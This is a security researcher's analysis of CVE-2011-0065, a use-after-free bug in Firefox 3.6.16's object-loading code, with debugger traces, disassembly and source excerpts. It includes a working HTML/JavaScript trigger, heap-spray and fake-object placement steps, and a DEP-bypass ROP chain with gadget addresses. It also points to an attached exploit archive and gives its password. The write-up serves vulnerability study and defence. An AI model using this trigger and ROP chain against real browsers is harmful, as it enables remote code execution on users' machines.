CVE2011-0065-Mozilla Firefox 3.6.16 mChannel use after free vulnerability
Author: instruder of Code Audit Labs of vulnhunt.com
Time: 2011/8/19
url:http://blog.vulnhunt.com/index.php/2011/08/22/analysis-cve-2011-0065/
1 Affected Prodects
软件版本:Mozilla Firefox 3.6.16
CVE ID :2011-0065
2 Vulnerability Details
在Firefox 3.6.16中,mChannel对象可以通过OnChannelRedirect这个方法来进行释放,但是释放之后,mChannel变成了悬挂指针,在脚本执行完之后,又会被nsObjectLoadingContent::LoadObject这个函数中mChannel->Cancel(NS_BINDING_ABORTED);
进行使用,导致use after free 漏洞.
3 Crash info
代码:
(a78.d94): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=0a0e3060 ebx=07ccc184 ecx=0a19f000 edx=0566a100 esi=804b0002 edi=80000000 eip=00857c64 esp=0013f714 ebp=0013f8cc iopl=0 nv up eiplzrnapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 <Unloaded_Ed20.dll>+0x857c63: 00857c64 2003 and byte ptr [ebx],al ds:0023:07ccc184=50 0:000> kb ChildEBPRetAddrArgs to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 0013f710 1080df8e 0a0e3060 804b0002 00000000 <Unloaded_Ed20.dll>+0x857c63 0013f8cc 1080e720 07ccc184 0858aab0 00000001 xul!nsObjectLoadingContent::LoadObject+0x108 [e:\builds\moz2_slave\win32_build\build\content\base\src\nsobjectloadingcontent.cpp @ 1081] 0013f8fc 1080eadc 07ccc184 0013f9b4 00000001 xul!nsObjectLoadingContent::LoadObject+0xcd [e:\builds\moz2_slave\win32_build\build\content\base\src\nsobjectloadingcontent.cpp @ 986] 0013faa0 1080eb2a 07ccc160 00000001 10190b32 xul!nsHTMLObjectElement::StartObjectLoad+0x84 [e:\builds\moz2_slave\win32_build\build\content\html\content\src\nshtmlobjectelement.cpp@ 456] 0013faac 10190b32 00000001 09bcc600 09bcc600xul!nsHTMLObjectElement::DoneAddingChildren+0x17 [e:\builds\moz2_slave\win32_build\build\content\html\content\src\nshtmlobjectelement.cpp@ 174] 0013fac8 10191b42 00000048 00000000 00000000 xul!SinkContext::CloseContainer+0xd2 [e:\builds\moz2_slave\win32_build\build\content\html\document\src\nshtmlcontentsink.cpp @ 1018] 0013fadc 100d873e 07ce80b8 00000048 00000000 xul!HTMLContentSink::CloseContainer+0x32 [e:\builds\moz2_slave\win32_build\build\content\html\document\src\nshtmlcontentsink.cpp @ 2392] 0013faf4 100d8501 00000048 00000000 09bcc600 xul!CNavDTD::CloseContainer+0x5e [e:\builds\moz2_slave\win32_build\build\parser\htmlparser\src\cnavdtd.cpp @ 2762] 0013fb24 100d8418 00000002 00000048 00000000 xul!CNavDTD::CloseContainersTo+0xd1 [e:\builds\moz2_slave\win32_build\build\parser\htmlparser\src\cnavdtd.cpp @ 2812] 0013fb3c 1005c8f3 00000048 00000000 05261800 xul!CNavDTD::CloseContainersTo+0x38 [e:\builds\moz2_slave\win32_build\build\parser\htmlparser\src\cnavdtd.cpp @ 2954] 0013fb58 1005c857 09bcc600 00000000 05261800 xul!CNavDTD::DidBuildModel+0x69 [e:\builds\moz2_slave\win32_build\build\parser\htmlparser\src\cnavdtd.cpp @ 397] 0013fb70 100c1284 00000000 05261800 05261804 xul!nsParser::DidBuildModel+0x42 [e:\builds\moz2_slave\win32_build\build\parser\htmlparser\src\nsparser.cpp @ 1611] 0013fb94 10042d6e 00000001 00000001 00000001 xul!nsParser::ResumeParse+0x124 [e:\builds\moz2_slave\win32_build\build\parser\htmlparser\src\nsparser.cpp @ 2381] 0013fbb8 10042cdc 05261804 052e88ac 00000000 xul!nsParser::OnStopRequest+0x82 [e:\builds\moz2_slave\win32_build\build\parser\htmlparser\src\nsparser.cpp @ 3029] 0013fbd8 1001e6f2 05261804 052e88ac 00000000 xul!nsDocumentOpenInfo::OnStopRequest+0x56 [e:\builds\moz2_slave\win32_build\build\uriloader\base\nsuriloader.cpp @ 324] 0013fbfc 100786f1 052e88ac 0529a920 00000000 xul!nsBaseChannel::OnStopRequest+0x55 [e:\builds\moz2_slave\win32_build\build\netwerk\base\src\nsbasechannel.cpp @ 681] 0013fc1c 10070fd1 0081d560 056dd670 00817400 xul!nsInputStreamPump::OnStateStop+0x3f [e:\builds\moz2_slave\win32_build\build\netwerk\base\src\nsinputstreampump.cpp @ 577] 0013fc30 10035121 0529a924 07410b08 056dd660 xul!nsInputStreamPump::OnInputStreamReady+0x4c [e:\builds\moz2_slave\win32_build\build\netwerk\base\src\nsinputstreampump.cpp @ 402] 0013fc40 100f4380 056dd660 0081d560 0013ff34 xul!nsOutputStreamReadyEvent::Run+0x1d [e:\builds\moz2_slave\win32_build\build\xpcom\io\nsstreamutils.cpp @ 192] 0013fc68 100cf5ca 056dd660 00000001 0013fc88 xul!nsThread::ProcessNextEvent+0x230 [e:\builds\moz2_slave\win32_build\build\xpcom\threads\nsthread.cpp @ 527] Ps:具体调试的时候可以下载火狐的符号,或者自己编译源码(比较麻烦,debug版没编译通过过)例如这样: SRV*e:\symcache\*http://msdl.microsoft.com/download/symbols;SRV*e:\symcache\*http://symbols.mozilla.org/firefox
4 Analysis
分析上面的崩溃的堆栈信息,重启windbg,下如下断点:
代码:
0:000>bl 0 e 10499052 0001 (0001) 0:**** xul!nsObjectLoadingContent::OnChannelRedirect 0:000>bpxul!nsObjectLoadingContent::LoadObject Matched: 1080e653 xul!nsObjectLoadingContent::LoadObject (class nsAString_internal *, int, class nsCString *, int) Matched: 1080de86 xul!nsObjectLoadingContent::LoadObject (class nsIURI *, int, class nsCString *, int) Ambiguous symbol error at 'xul!nsObjectLoadingContent::LoadObject' 0:000>bp 1080e653 0:000>bp 1080de86
代码:
<html> <body> <object id="d"><object> <script type="text/javascript"> var e; e=document.getElementById("d"); e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0); e.data = "";//没这个也行的,触发是在脚本执行完毕后,ps:实际测试是这样的:) </script> </body> </html>
代码:
Breakpoint 1 hit eax=00000003 ebx=0013ef98 ecx=052e9018 edx=109f5228 esi=051c5718 edi=00000000 eip=10499052 esp=0013eca8 ebp=0013ecc8 iopl=0 nv up eiplzrnapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 xul!nsObjectLoadingContent::OnChannelRedirect: 10499052 8b4c2408 movecx,dwordptr [esp+8] ss:0023:0013ecb0=00000000 0:000>ddesp+8 0013ecb0 00000000 057369f0 00000000 00897640//第一个参数null 第二个参数new Object,第三个参数0记住这个057369f0,后面用到 0013ecc0 00000000 0013ef68 0013ef68 10129438 0013ecd0 052e9018 00000003 00000003 0013ed80 0013ece0 005092f0 054f9c80 00000000 00379b06 0013ecf0 06060b0c 00000000 030c0ecc 008af0e0 0013ed00 06799403 051c5718 00379def 07122024 0013ed10 052e9018 00000003 0013ed80 00000001 0013ed20 087d1934 80570009 07dcd340 05736460 这个函数汇编代码 xul!nsObjectLoadingContent::OnChannelRedirect: 10499052 8b4c2408 movecx,dwordptr [esp+8]//aOldChannel 10499056 56 push esi 10499057 8b742408 movesi,dwordptr [esp+8]//aNewChannel 1049905b 3b4e1c cmpecx,dwordptr [esi+1Ch]//mChannel=0 1049905e 7407 je xul!nsObjectLoadingContent::OnChannelRedirect+0x15 (10499067)//跳 10499060 b802004b80 mov eax,804B0002h 10499065 eb1a jmpxul!nsObjectLoadingContent::OnChannelRedirect+0x2f (10499081) 10499067 8b4624 moveax,dwordptr [esi+24h] ds:0023:052e903c=00000000//mClassifier 1049906a 85c0 test eax,eax 1049906c 57 push edi 1049906d 8b7c2414 movedi,dwordptr [esp+14h] 10499071 7408 je xul!nsObjectLoadingContent::OnChannelRedirect+0x29 (1049907b)//跳 10499073 8b10 movedx,dwordptr [eax] 10499075 57 push edi 10499076 51 push ecx 10499077 50 push eax 10499078 ff5210 call dwordptr [edx+10h] 1049907b 897e1c movdwordptr [esi+1Ch],edi //0写入mChannel 对应源码: NS_IMETHODIMP nsObjectLoadingContent::OnChannelRedirect(nsIChannel *aOldChannel, nsIChannel *aNewChannel, PRUint32 aFlags) { // If we're already busy with a new load, cancel the redirect if (aOldChannel != mChannel) { return NS_BINDING_ABORTED; } if (mClassifier) { mClassifier->OnRedirect(aOldChannel, aNewChannel); } mChannel = aNewChannel; return NS_OK; }
代码:
F5继续执行,firefox里面有2个LoadObject函数 先执行原型为nsresult nsObjectLoadingContent::LoadObject(nsIURI* aURI, PRBoolaNotify, constnsCString&aTypeHint, PRBoolaForceLoad) 的LoadObject,执行后,又跳到原型为nsresult nsObjectLoadingContent::LoadObject(constnsAString&aURI, PRBoolaNotify, constnsCString&aTypeHint, PRBoolaForceLoad) 函数,再次跳到nsObjectLoadingContent::LoadObject(nsIURI* aURI, PRBoolaNotify, constnsCString&aTypeHint, PRBoolaForceLoad) 函数执行: nsresult nsObjectLoadingContent::LoadObject(nsIURI* aURI, PRBoolaNotify, constnsCString&aTypeHint, PRBoolaForceLoad) { ….. // From here on, we will always change the content. This means that a // possibly-loading channel should be aborted. if (mChannel) { LOG(("OBJLC [%p]: Cancelling existing load\n", this)); if (mClassifier) { mClassifier->Cancel(); mClassifier = nsnull; } // These three statements are carefully ordered: // - onStopRequest should get a channel whose status is the same as the // status argument // - onStopRequest must get a non-null channel mChannel->Cancel(NS_BINDING_ABORTED);//exploit if (mFinalListener) { // NOTE: Since mFinalListener is only set in onStartRequest, which takes // care of calling mFinalListener->OnStartRequest, mFinalListener is only // non-null here if onStartRequest was already called. mFinalListener->OnStopRequest(mChannel, nsnull, NS_BINDING_ABORTED); mFinalListener = nsnull; } mChannel = nsnull; }) … } 汇编代码: 1080df61 837b5000 cmpdwordptr [ebx+50h],0 1080df65 7456 je xul!nsObjectLoadingContent::LoadObject+0x137 (1080dfbd) 1080df67 8d7358 lea esi,[ebx+58h] 1080df6a 8b06 moveax,dwordptr [esi] ds:0023:052e903c=00000000 1080df6c 85c0 test eax,eax 1080df6e 740f je xul!nsObjectLoadingContent::LoadObject+0xf9 (1080df7f) 1080df70 8b08 movecx,dwordptr [eax] 1080df72 50 push eax 1080df73 ff5114 call dwordptr [ecx+14h] 1080df76 33d2 xoredx,edx 1080df78 8bce movecx,esi 1080df7a e841da91ff call xul!nsCOMPtr_base::assign_with_AddRef (1012b9c0) 1080df7f 8b4350 moveax,dwordptr [ebx+50h] 1080df82 8b08 movecx,dwordptr [eax] 1080df84 be02004b80 mov esi,804B0002h 1080df89 56 push esi 1080df8a 50 push eax 1080df8b ff5118 call dwordptr [ecx+18h] 1080df8e 8d4b38 lea ecx,[ebx+38h] 1080df91 e85210b0ff call xul!nsCOMPtr<nsIPrefBranch>::operator nsIPrefBranch * (1030efe8) ….
代码:
0:000> t eax=0514f000 ebx=052e8fe4 ecx=08d1aad0 edx=054fee50 esi=052e9038 edi=80000000 eip=1080df5b esp=0013f720 ebp=0013f8cc iopl=0 nv up eiplnznapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 xul!nsObjectLoadingContent::LoadObject+0xd5: 1080df5b 0f84bf060000 je xul!nsObjectLoadingContent::LoadObject+0x79a (1080e620) [br=0] 0:000> t eax=0514f000 ebx=052e8fe4 ecx=08d1aad0 edx=054fee50 esi=052e9038 edi=80000000 eip=1080df61 esp=0013f720 ebp=0013f8cc iopl=0 nv up eiplnznapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 xul!nsObjectLoadingContent::LoadObject+0xdb: 1080df61 837b5000 cmpdwordptr [ebx+50h],0 ds:0023:052e9034=057369f0 //判断mChannel是否为0 0:000>dd 057369f0 057369f0 00000000 00000000 00000000 00000000 05736a00 00000000 00000000 00000000 00000000 05736a10 00000007 05737e20 05742268 00000016 05736a20 00000001 00000004 00353131 04cd63e0 05736a30 6e6f6e61 756f6d79 06750073 054d8480 05736a40 10a58be0 00000001 054cf288 00000016 05736a50 00000007 05737f00 05742a48 00000016 05736a60 00000001 00000001 054cf580 00000000 0:000> t eax=0514f000 ebx=052e8fe4 ecx=08d1aad0 edx=054fee50 esi=052e9038 edi=80000000 eip=1080df67 esp=0013f720 ebp=0013f8cc iopl=0 nv up eiplnznapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 xul!nsObjectLoadingContent::LoadObject+0xe1: 1080df67 8d7358 lea esi,[ebx+58h] 0:000> t Breakpoint 5 hit eax=0514f000 ebx=052e8fe4 ecx=08d1aad0 edx=054fee50 esi=052e903c edi=80000000 eip=1080df6a esp=0013f720 ebp=0013f8cc iopl=0 nv up eiplnznapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206 xul!nsObjectLoadingContent::LoadObject+0xe4: 1080df6a 8b06 moveax,dwordptr [esi] ds:0023:052e903c=00000000 ////获取mClassifier 0:000> t Breakpoint 6 hit eax=00000000 ebx=052e8fe4 ecx=08d1aad0 edx=054fee50 esi=052e903c edi=80000000 eip=1080df6e esp=0013f720 ebp=0013f8cc iopl=0 nv up eiplzrnapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 xul!nsObjectLoadingContent::LoadObject+0xe8: 1080df6e 740f je xul!nsObjectLoadingContent::LoadObject+0xf9 (1080df7f) [br=1]//跳 0:000> t Breakpoint 3 hit eax=00000000 ebx=052e8fe4 ecx=08d1aad0 edx=054fee50 esi=052e903c edi=80000000 eip=1080df7f esp=0013f720 ebp=0013f8cc iopl=0 nv up eiplzrnapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 xul!nsObjectLoadingContent::LoadObject+0xf9: 1080df7f 8b4350 moveax,dwordptr [ebx+50h] ds:0023:052e9034=057369f0 0:000>dd 057369f0 057369f0 00000000 00000000 00000000 00000000//注意这个地址就是前面xul!nsObjectLoadingContent::OnChannelRedirect的第二个参数地址,Object被释放了 05736a00 00000000 00000000 00000000 00000000 05736a10 00000007 05737e20 05742268 00000016 05736a20 00000001 00000004 00353131 04cd63e0 05736a30 6e6f6e61 756f6d79 06750073 054d8480 05736a40 10a58be0 00000001 054cf288 00000016 05736a50 00000007 05737f00 05742a48 00000016 05736a60 00000001 00000001 054cf580 00000000 0:000> t (ff4.c50): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=057369f0 ebx=052e8fe4 ecx=00000000 edx=054fee50 esi=804b0002 edi=80000000 eip=1080df8b esp=0013f718 ebp=0013f8cc iopl=0 nv up eiplzrnapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 xul!nsObjectLoadingContent::LoadObject+0x105: 1080df8b ff5118 call dwordptr [ecx+18h] ds:0023:00000018=????????
5.1 How to exploit
通过传递给onChannelRedirect第二个参数new object,替换mChannel,函数执行完后,new object被释放,紧跟着申请大小一致的内存,站位mChannel,如下:
e = document.getElementById("d");
e.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
fake_obj_addr = unescape("\x1c")
这样0c0c001c就会站位new object,在1080df82地址时,[eax]=0c0c001c,然后通过申请大量内存,覆盖0c0c0c0c地址,脚本执行完之后,通过调用LoadObject函数,在1080df8b地址处call dwordptr [ecx+18h]既可以触发shellcode的执行.
5.2 DEP PASS
由于并没找到原始poc上面的rop地址,于是自己在poc的sc变量前面加了很多的’AAAAAAAAAA’,然后自己调试,找到了一组rop序列
代码:
Rop序列shell32.dll) 7D66A4E8 8B49 0C MOV ECX,DWORD PTR DS:[ECX+C] 7D66A4EB 8B01 MOV EAX,DWORD PTR DS:[ECX] 7D66A4ED 52 PUSH EDX 7D66A4EE 51 PUSH ECX 7D66A4EF FF50 14 CALL DWORD PTR DS:[EAX+14](同事教的一组指令,很管用在过rop的时候。) ==== 0x65e3ffae : # PUSH ECX # POP ESP # POP EBP (GR99D3~1.DLL)(immedebug 的mona脚本找的) ==== 5DDBC012 83C4 14 ADD ESP,14(mshtml.dll) 5DDBC015 C3 RETN//返回到VirtualProtect函数 ==== 执行VirtualProtect后返回到 0c0C0084开始执行shellcode
6 Vulnerability demo
7 POC
见附件下exploit.html
Firefox 3.6.16 OBJECT mChannel Remote Code Execution Exploit (DEP bypass.rar[解压密码是:pediy]